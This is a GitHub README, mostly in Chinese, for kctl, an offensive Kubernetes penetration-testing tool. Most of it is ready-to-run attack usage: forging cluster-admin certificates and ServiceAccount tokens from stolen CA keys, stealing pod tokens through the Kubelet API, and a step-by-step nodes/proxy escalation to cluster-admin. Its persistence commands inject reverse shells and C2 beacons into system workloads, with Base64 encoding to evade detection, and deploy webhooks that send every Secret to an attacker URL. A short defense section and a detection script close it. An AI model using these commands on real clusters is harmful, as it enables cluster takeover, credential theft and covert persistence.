kinokopio/kctl

GitHub: kinokopio/kctl

专用于 Kubernetes 安全审计的工具,支持通过 Kubelet API 进行节点操作、横向移动及伪造证书提升权限。

Stars: 14 | Forks: 2

GitHub Release Go Version MIT License GitHub Issues GitHub Stars

README in English 简体中文版自述文件


kctl
kctl

Kubernetes Security Audit Tool - Penetration Testing & Lateral Movement

FeaturesInstallationQuick StartModesCommandsGolden TicketPersistenceAttack ScenarioDefense

## 概述 **kctl** 是一款专为渗透测试设计的 Kubernetes 安全审计工具。它支持两种运行模式: - **Kubelet 模式** - 直接通过 Kubelet API (10250) 端口进行节点级操作 - **Kubernetes 模式** - API Server (6443) 操作,包括 Golden Ticket 攻击 ## 功能 | 功能 | 模式 | 描述 | |---------|------|-------------| | `discover` | Kubelet | 扫描网段以查找 Kubelet 端点 | | `sa scan` | Kubelet | 从所有 Pod 中提取并分析 SA tokens | | `exec` | Kubelet | 通过 Kubelet API 在任意 Pod 中执行命令 | | `run` | Kubelet | 通过 /run API 执行命令 | | `portforward` | Kubelet | 通过 Kubelet API 进行端口转发 | | `pid2pod` | Kubelet | 将 Linux PIDs 映射到 Pod 元数据 | | `golden` | Kubernetes | 伪造证书和 SA tokens (Golden Ticket) | | `persist probe-inject` | Kubernetes | 向 DaemonSets/Deployments 注入 exec probes 以维持持久化 | | `persist webhook-inject` | Kubernetes | 部署恶意 Admission Webhooks 以维持持久化 | ## 安装 ### 下载二进制文件 ``` # Linux amd64 curl -LO https://github.com/kinokopio/kctl/releases/latest/download/kctl-linux-amd64 chmod +x kctl-linux-amd64 mv kctl-linux-amd64 /usr/local/bin/kctl # macOS arm64 curl -LO https://github.com/kinokopio/kctl/releases/latest/download/kctl-darwin-arm64 chmod +x kctl-darwin-arm64 mv kctl-darwin-arm64 /usr/local/bin/kctl ``` ### 从源码构建 ``` git clone https://github.com/kinokopio/kctl.git cd kctl go build -o kctl ./main/main.go ``` ## 快速开始 ### 基本用法 ``` # 进入交互式控制台 ./kctl console # 指定目标 ./kctl console -t 10.0.0.1 # 完整连接参数 ./kctl console -t 10.0.0.1 -p 10250 --token "eyJ..." --api-server 10.0.0.1 --api-port 6443 # 使用 SOCKS5 代理 ./kctl console -t 10.0.0.1 --proxy socks5://127.0.0.1:1080 ``` ### Pod 内自动检测 当在 Pod 内运行时,kctl 会自动: 1. 检测 Kubelet IP(默认网关) 2. 读取 ServiceAccount token 3. 连接到 Kubelet 4. 检查当前 SA 权限 ``` $ ./kctl console ██╗ ██╗ ██████╗████████╗██╗ ██║ ██╔╝██╔════╝╚══██╔══╝██║ █████╔╝ ██║ ██║ ██║ ██╔═██╗ ██║ ██║ ██║ ██║ ██╗╚██████╗ ██║ ███████╗ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝ Kubernetes Security Audit Tool [*] Mode: kubelet (In-Pod) [*] Kubelet: 10.244.1.1:10250 (auto-detected) [*] Type 'help' for available commands [*] Auto-connecting to Kubelet 10.244.1.1:10250... ✓ Connected successfully [+] Using ServiceAccount: default/attacker [*] Checking permissions... [+] Risk Level: CRITICAL kctl [kubelet:10.244.1.1:10250 default/attacker CRITICAL]> ``` ## 模式 kctl 运行在两种模式下,具有不同的命令集: ### Kubelet 模式(默认) 用于在单个节点上进行直接 Kubelet API 操作: ``` kctl [kubelet:10.0.0.1:10250]> help Available Commands [kubelet] Connection: connect Connect to Kubelet discover Scan network to find Kubelet nodes Information: pods List Pods on the node sa ServiceAccount operations Execution: exec Execute command (WebSocket) run Execute command (/run API) portforward Port forwarding pid2pod Map PIDs to Pods ``` ### Kubernetes 模式 用于 API Server 操作,包括 Golden Ticket 攻击: ``` kctl [kubelet]> mode kubernetes [+] Switched to kubernetes mode kctl [kubernetes:127.0.0.1:6443]> help Available Commands [kubernetes] Golden Ticket: golden Forge certificates and SA tokens Configuration: set Set configuration show Show information ``` 使用 `mode kubelet` 或 `mode kubernetes` 切换模式。 ## Golden Ticket Golden Ticket 功能允许伪造 Kubernetes 证书和 ServiceAccount tokens,以便在获取集群 CA 密钥后进行持久化控制。 ### 前置条件 要使用 Golden Ticket,你需要访问以下资源: - **CA 证书和私钥** (`ca.crt`, `ca.key`) - 用于伪造用户/节点证书 - **SA 签名密钥** (`sa.key`) - 用于伪造 ServiceAccount tokens 这些文件通常位于控制平面节点的 `/etc/kubernetes/pki/` 目录下。 ### 伪造用户证书 (cluster-admin) ``` # 切换到 kubernetes 模式 kctl> mode kubernetes # 设置 API Server kctl [kubernetes]> set api-server 10.0.0.1 kctl [kubernetes]> set api-port 6443 # 伪造 admin 证书 kctl [kubernetes:10.0.0.1:6443]> golden user-cert --ca-cert ca.crt --ca-key ca.key --role system:masters --user admin [*] Using API Server: https://10.0.0.1:6443 [*] Creating user certificate (system:masters/admin)... [+] Successfully created user certificate! Certificate: system-masters_admin.crt Private key: system-masters_admin.key Kubeconfig: kubeconfig_system-masters_admin Test with: kubectl --kubeconfig=kubeconfig_system-masters_admin auth whoami [*] Identity: admin (role: system:masters) [*] Expires at: 2027-02-10 16:30:19 ``` ### 伪造 ServiceAccount Token ``` # 首先,从 API Server 获取 UID 缓存 kctl [kubernetes:10.0.0.1:6443]> golden update-uid --ca-cert ca.crt --ca-key ca.key [*] Using API Server: https://10.0.0.1:6443 [*] Creating temporary admin certificate... [*] Requesting ServiceAccount list... [+] Received 45 ServiceAccounts [+] UID cache saved to memory # 列出已缓存的 UID kctl [kubernetes:10.0.0.1:6443]> golden uid-list kctl [kubernetes:10.0.0.1:6443]> golden uid-list -n kube-system # 伪造 token (从内存自动查找 UID) kctl [kubernetes:10.0.0.1:6443]> golden sa-token --sa-key sa.key --namespace kube-system --name default [+] Found UID in memory cache: a1b2c3d4-... [*] Forging ServiceAccount token (TTL: 3600s)... [+] Forged ServiceAccount token for kube-system/default: Token: eyJhbGciOiJSUzI1NiIs... [+] Kubeconfig: kubeconfig_kube-system_default ``` ### Golden Ticket 子命令 | 命令 | 描述 | |---------|-------------| | `golden user-cert` | 伪造用户证书(例如 cluster-admin) | | `golden node-cert` | 伪造节点证书(冒充 kubelet) | | `golden sa-token` | 伪造 ServiceAccount JWT token | | `golden update-uid` | 从 API Server 获取 SA UIDs 到内存 | | `golden uid-list` | 列出缓存的 UIDs | | `golden test` | 验证密钥文件 | ## 持久化 kctl 提供两种持久化机制,用于维持对已攻陷集群的访问: ### Probe 注入 向 DaemonSets 或 Deployments 注入 exec probes,以便在每个节点上定期执行命令。 ``` # 交互模式 persist probe-inject # 直接注入并反弹 shell persist probe-inject -d kube-system/kube-proxy --payload reverse-bash --host 10.0.0.100 --port 4444 # HTTP beacon persist probe-inject -d monitoring/node-exporter --payload http-curl --url https://c2.attacker.com/beacon # 列出带有 exec 探针的工作负载 persist probe-list # 移除已注入的探针 persist probe-restore ``` **特性:** - 自动检测容器内的可用工具(sh, bash, curl, nc, python 等) - 9 种 payload 模板(反向 shell、HTTP beacons、自定义命令) - 支持 DaemonSet 和 Deployment 工作负载 - Base64 编码以规避检测 - Dry-run 模式用于预览 ### 恶意 Admission Webhooks 部署恶意 MutatingWebhooks 以拦截和修改 Kubernetes 资源。 ``` # 交互模式 persist webhook-inject # Secret 渗出 - 窃取所有 secrets persist webhook-inject -t secret-exfil --exfil-url https://attacker.com/collect # Pod 后门 - 向所有新 Pod 注入 sidecar persist webhook-inject -t pod-backdoor --image busybox --command "sh,-c,sleep infinity" # 外部 webhook 服务器模式(使用自动生成的证书) persist webhook-inject -t secret-exfil --external-url https://my-server:8443/webhook --cert-dir ./certs # 列出 webhooks persist webhook-list # 移除 webhooks persist webhook-restore ``` **攻击类型:** | 类型 | 描述 | |------|-------------| | `secret-exfil` | 拦截 Secret 创建/更新并窃取到外部服务器 | | `pod-backdoor` | 向所有新 Pod 注入恶意 sidecar 容器 | **部署模式:** | 模式 | 描述 | |------|-------------| | In-cluster (默认) | 在集群内部部署 webhook 服务(约 6MB Go 二进制文件) | | External URL | 使用外部服务器作为 webhook 端点(证书自动生成) | ### Persist 子命令 | 命令 | 描述 | |---------|-------------| | `persist probe-inject` | 向 DaemonSets/Deployments 注入 exec probes | | `persist probe-list` | 列出带有 exec probes 的工作负载 | | `persist probe-restore` | 移除已注入的 probes | | `persist webhook-inject` | 部署恶意 admission webhooks | | `persist webhook-list` | 列出 webhook 配置 | | `persist webhook-restore` | 移除已注入的 webhooks | ## 命令 ### 通用命令(所有模式) | 命令 | 描述 | |---------|-------------| | `help` | 显示帮助信息 | | `mode` | 查看或切换操作模式 | | `set ` | 设置配置 | | `show options` | 显示当前配置 | | `show status` | 显示会话状态 | | `export json/csv` | 导出扫描结果 | | `clear` | 清除缓存 | | `exit` | 退出控制台 | ### Kubelet 模式命令 | 命令 | 描述 | |---------|-------------| | `discover ` | 扫描网段以查找 Kubelet 节点 | | `connect [ip]` | 连接到 Kubelet | | `pods` | 列出节点上的 Pods | | `sa scan` | 扫描所有 Pod SA tokens | | `sa list` | 列出已扫描的 ServiceAccounts | | `sa use ` | 切换到指定的 SA | | `sa info` | 显示当前 SA 详情 | | `exec` | 在 Pod 中执行命令 | | `run` | 在 Pod 中执行命令 (/run API) | | `portforward` | 端口转发到 Pod | | `pid2pod` | 将 PIDs 映射到 Pods(仅限 Pod 内) | ### Kubernetes 模式命令 | 命令 | 描述 | |---------|-------------| | `golden user-cert` | 伪造用户证书 | | `golden node-cert` | 伪造节点证书 | | `golden sa-token` | 伪造 ServiceAccount token | | `golden update-uid` | 获取 SA UIDs 到内存 | | `golden uid-list` | 列出缓存的 UIDs | | `golden test` | 验证密钥文件 | | `persist probe-inject` | 注入 exec probes 以维持持久化 | | `persist probe-list` | 列出带有 exec probes 的工作负载 | | `persist probe-restore` | 移除已注入的 probes | | `persist webhook-inject` | 部署恶意 webhooks | | `persist webhook-list` | 列出 webhook 配置 | | `persist webhook-restore` | 移除已注入的 webhooks | ### 网络发现 ``` # 扫描 CIDR 范围 discover 10.0.0.0/24 # 扫描 IP 范围 discover 10.0.0.1-254 # 自定义端口和并发度 discover 10.0.0.0/24 -p 10250,10255 -c 200 # 显示所有开放端口(不仅仅是 Kubelet) discover 10.0.0.0/24 --all ``` 输出示例: ``` [*] Scanning 10.0.0.0/24:10250 (254 targets, 100 concurrent) [========================================] 100% (254/254) [*] Validating Kubelet endpoints... +-------------+-------+------------+ | IP | PORT | HEALTH | +-------------+-------+------------+ | 10.0.0.1 | 10250 | /healthz | | 10.0.0.5 | 10250 | /healthz | +-------------+-------+------------+ [+] Scan complete in 3.2s: 3 open ports, 2 Kubelet nodes [*] Use 'set target ' to select target [*] Use 'show kubelets' to view cached results ``` ### ServiceAccount 操作 ``` # 列出所有 SA(默认) sa # 仅列出有风险的 SA sa list --risky # 仅列出 cluster-admin sa list --admin # 扫描所有 Pod SA token sa scan # 选择 SA sa use kube-system/cluster-admin # 显示当前 SA 详情 sa info ``` ### 命令执行 ``` # 交互式 shell (WebSocket) exec -it nginx-pod # 在特定 Pod 中执行命令 exec nginx-pod -- cat /etc/passwd # 在所有 Pod 中执行 exec --all-pods -- whoami # 使用过滤器执行 exec --all-pods --filter-ns kube-system -- id # 使用 /run API(更简单,无需 WebSocket) run nginx-pod --cmd "cat /etc/passwd" # 在所有 Pod 中运行 run --all-pods --cmd "hostname" ``` ### 端口转发 ``` # 将本地端口 8080 转发到 Pod 端口 80 portforward nginx-pod 8080:80 # 使用自定义监听地址转发 portforward nginx-pod 8080:80 --address 0.0.0.0 # 停止端口转发 pf stop ``` ### PID 到 Pod 映射(仅限 Pod 内) ``` # 显示带有 Pod 信息的所有容器进程 pid2pod # 查找特定 PID pid2pod --pid 1234 # 显示所有进程(包括非容器) pid2pod --all ``` ### 典型工作流程(Kubelet 模式) ``` # 1. 扫描网络以发现 Kubelet 节点 kctl [kubelet]> discover 10.0.0.0/24 # 2. 选择目标 kctl [kubelet]> set target 10.0.0.5 # 3. 扫描所有 Pod 上的 SA 权限 kctl [kubelet:10.0.0.5:10250]> sa scan # 4. 查看高特权 SA kctl [kubelet:10.0.0.5:10250]> sa list --admin # 5. 切换到高特权 SA kctl [kubelet:10.0.0.5:10250]> sa use kube-system/cluster-admin # 6. 使用新身份执行命令 kctl [kubelet:10.0.0.5:10250 kube-system/cluster-admin ADMIN]> exec -it ``` ### 典型工作流程(Golden Ticket) ``` # 1. 切换到 kubernetes 模式 kctl [kubelet]> mode kubernetes # 2. 设置 API Server kctl [kubernetes]> set api-server 10.0.0.1 kctl [kubernetes]> set api-port 6443 # 3. 伪造 admin 证书(需要 ca.crt 和 ca.key) kctl [kubernetes:10.0.0.1:6443]> golden user-cert -c ca.crt -k ca.key --role system:masters # 4. 测试伪造的证书 $ kubectl --kubeconfig=kubeconfig_system-masters_kubernetes-admin get nodes # 5. 对于 SA token 伪造,首先获取 UID kctl [kubernetes:10.0.0.1:6443]> golden update-uid -c ca.crt -k ca.key # 6. 伪造 SA token(需要 sa.key) kctl [kubernetes:10.0.0.1:6443]> golden sa-token -s sa.key --namespace kube-system --name default ``` ## 攻击场景 ### nodes/proxy 权限提升 #### 背景 `nodes/proxy GET` 权限通常被授予监控工具(Prometheus、Datadog、Grafana)用于收集指标。 根据 [Graham Helton 的研究](https://grahamhelton.com/blog/nodes-proxy-rce),由于 Kubelet 在 WebSocket 连接上的授权缺陷,`nodes/proxy GET` 可被用于在任意 Pod 中执行命令。 #### 漏洞机制 1. WebSocket 协议在初始握手时需要 HTTP GET 请求 2. Kubelet 根据初始 HTTP 方法(GET)执行授权检查 3. 授权通过后,WebSocket 连接可以访问 `/exec` 端点以执行命令 4. 这绕过了本应要求的 `nodes/proxy CREATE` 权限 #### 使用 kctl 进行权限提升 ##### 场景设置 假设你拥有访问一个 ServiceAccount 具有 `nodes/proxy GET` 权限的 Pod: ``` apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: nodes-proxy-reader rules: - apiGroups: [""] resources: ["nodes/proxy"] verbs: ["get"] ``` ##### 步骤 1:进入控制台并检查权限 ``` # 复制 kctl 到目标 Pod kubectl cp kctl-linux-amd64 attacker:/kctl # 进入 Pod kubectl exec -it attacker -- /bin/sh # 运行 kctl /kctl console ``` ``` [*] Auto-connecting to Kubelet 10.244.1.1:10250... ✓ Connected successfully [+] Using ServiceAccount: default/attacker [*] Checking permissions... [+] Risk Level: HIGH kctl [kubelet:10.244.1.1:10250 default/attacker HIGH]> ``` ##### 步骤 2:查看当前权限 ``` kctl [kubelet:10.244.1.1:10250 default/attacker HIGH]> sa info ServiceAccount Information ───────────────────────────────────────── Name : attacker Namespace : default Risk Level : HIGH Token Status : Valid Permissions: - nodes/proxy:get <- Key permission! - nodes:list - pods:list ``` ##### 步骤 3:扫描节点上的所有 Pods ``` kctl [kubelet:10.244.1.1:10250 default/attacker HIGH]> sa scan [*] Scanning ServiceAccount tokens... [*] Found 15 pods with SA tokens [*] Checking permissions... (3 concurrent) RISK NAMESPACE POD SERVICE ACCOUNT TOKEN FLAGS ───────────────────────────────────────────────────────────────────────────────── ADMIN kube-system kube-proxy-xxxxx kube-proxy Valid - ADMIN kube-system coredns-xxxxx coredns Valid - HIGH monitoring prometheus-xxxxx prometheus Valid - ... [+] Scan complete: 15 SAs, 2 ADMIN, 1 CRITICAL, 3 HIGH ``` ##### 步骤 4:通过 nodes/proxy 执行命令 由于我们拥有 `nodes/proxy GET` 权限,我们可以通过 Kubelet API 在任意 Pod 中执行命令: ``` kctl [kubelet:10.244.1.1:10250 default/attacker HIGH]> pods NAMESPACE POD STATUS CONTAINERS ─────────────────────────────────────────────────────────────── kube-system etcd-master Running etcd kube-system kube-apiserver-master Running kube-apiserver kube-system kube-proxy-xxxxx Running kube-proxy default nginx Running nginx ... ``` ``` kctl [kubelet:10.244.1.1:10250 default/attacker HIGH]> exec -n kube-system kube-proxy-xxxxx -- cat /var/run/secrets/kubernetes.io/serviceaccount/token ``` 这将返回 `kube-proxy` ServiceAccount token,该 token 通常具有 cluster-admin 权限! ##### 步骤 5:切换到高权限身份 ``` kctl [kubelet:10.244.1.1:10250 default/attacker HIGH]> sa use kube-system/kube-proxy [+] Switched to kube-system/kube-proxy [*] Checking permissions... [!] Risk Level: ADMIN (cluster-admin) kctl [kubelet:10.244.1.1:10250 kube-system/kube-proxy ADMIN]> ``` ##### 步骤 6:完全控制集群 现在你拥有 cluster-admin 权限,可以使用该 token 完全控制集群。 #### 攻击流程图 ``` ┌─────────────────────────────────────────────────────────────────┐ │ nodes/proxy GET Privilege Escalation │ └─────────────────────────────────────────────────────────────────┘ ┌──────────────┐ ┌──────────────┐ ┌──────────────────────┐ │ Initial │ │ Permission │ │ Lateral Movement │ │ Access │ │ Discovery │ │ │ │ │────>│ │────>│ Execute commands in │ │ Compromised │ │ nodes/proxy │ │ other Pods via │ │ Pod │ │ GET found │ │ Kubelet API │ └──────────────┘ └──────────────┘ └──────────────────────┘ │ v ┌──────────────┐ ┌──────────────┐ ┌──────────────────────┐ │ Full Cluster │ │ Privilege │ │ Token Theft │ │ Control │ │ Escalation │ │ │ │ │<────│ │<────│ Read system Pod │ │ cluster-admin│ │ Use high- │ │ SA tokens │ │ access │ │ priv token │ │ │ └──────────────┘ └──────────────┘ └──────────────────────┘ ``` ## 风险等级 | 等级 | 描述 | 示例权限 | |-------|-------------|---------------------| | ADMIN | 集群管理员 | `*/*`, cluster-admin | | CRITICAL | 直接权限提升 | `secrets:create`, `pods/exec:create` | | HIGH | 敏感数据泄露 | `secrets:get`, `nodes/proxy:get` | | MEDIUM | 潜在滥用 | `pods:create`, `configmaps:get` | | LOW | 低风险 | `pods:list`, `services:get` | | NONE | 无风险 | 只读基本权限 | ## 防御 ### 建议 1. **避免 nodes/proxy 权限** - 使用 KEP-2862 细粒度权限 (`nodes/metrics`, `nodes/stats`) 2. **网络隔离** - 限制对 Kubelet 端口 (10250) 的访问 3. **审计日志** - 注意:直接的 Kubelet API 访问会绕过 K8s 审计日志 4. **最小权限** - 定期审查 ServiceAccount 权限 ### 检测脚本 检查具有 `nodes/proxy` 权限的 ServiceAccounts: ``` kubectl get clusterrolebindings -o json | jq -r ' .items[] | select(.roleRef.kind == "ClusterRole") | .metadata.name as $binding | .roleRef.name as $role | .subjects[]? | "\($binding) -> \($role) -> \(.kind)/\(.namespace)/\(.name)" ' | while read line; do role=$(echo $line | cut -d'>' -f2 | tr -d ' ') kubectl get clusterrole $role -o json 2>/dev/null | \ jq -e '.rules[] | select(.resources[] | contains("nodes/proxy"))' >/dev/null && \ echo "[!] $line" done ``` ## 免责声明 - 本工具仅用于**授权的安全评估和渗透测试** - 使用前请确保你拥有适当的授权 - 所有操作均在内存中执行,退出后不留痕迹 - 直接的 Kubelet API 访问**不会被记录**在 Kubernetes 审计日志中 - Golden Ticket 攻击需要预先访问集群 CA/SA 密钥 ## 参考资料 - [Kubernetes RCE Via Nodes/Proxy GET Permission](https://grahamhelton.com/blog/nodes-proxy-rce) - [k8s_spoofilizer - Kubernetes Golden Ticket](https://github.com/jtesta/k8s_spoofilizer) - [KEP-2862: Fine-Grained Kubelet API Authorization](https://github.com/kubernetes/enhancements/blob/master/keps/sig-node/2862-fine-grained-kubelet-authz/README.md) - [Kubelet Authentication/Authorization](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) ## 许可证 [MIT License](LICENSE)
标签:Chrome Headless, EVTX分析, Go语言, Kubelet, Kubernetes安全, StruQ, Web截图, 子域名突变, 容器安全, 提权, 攻击模拟, 日志审计, 横向移动, 程序破解, 编程规范, 驱动签名利用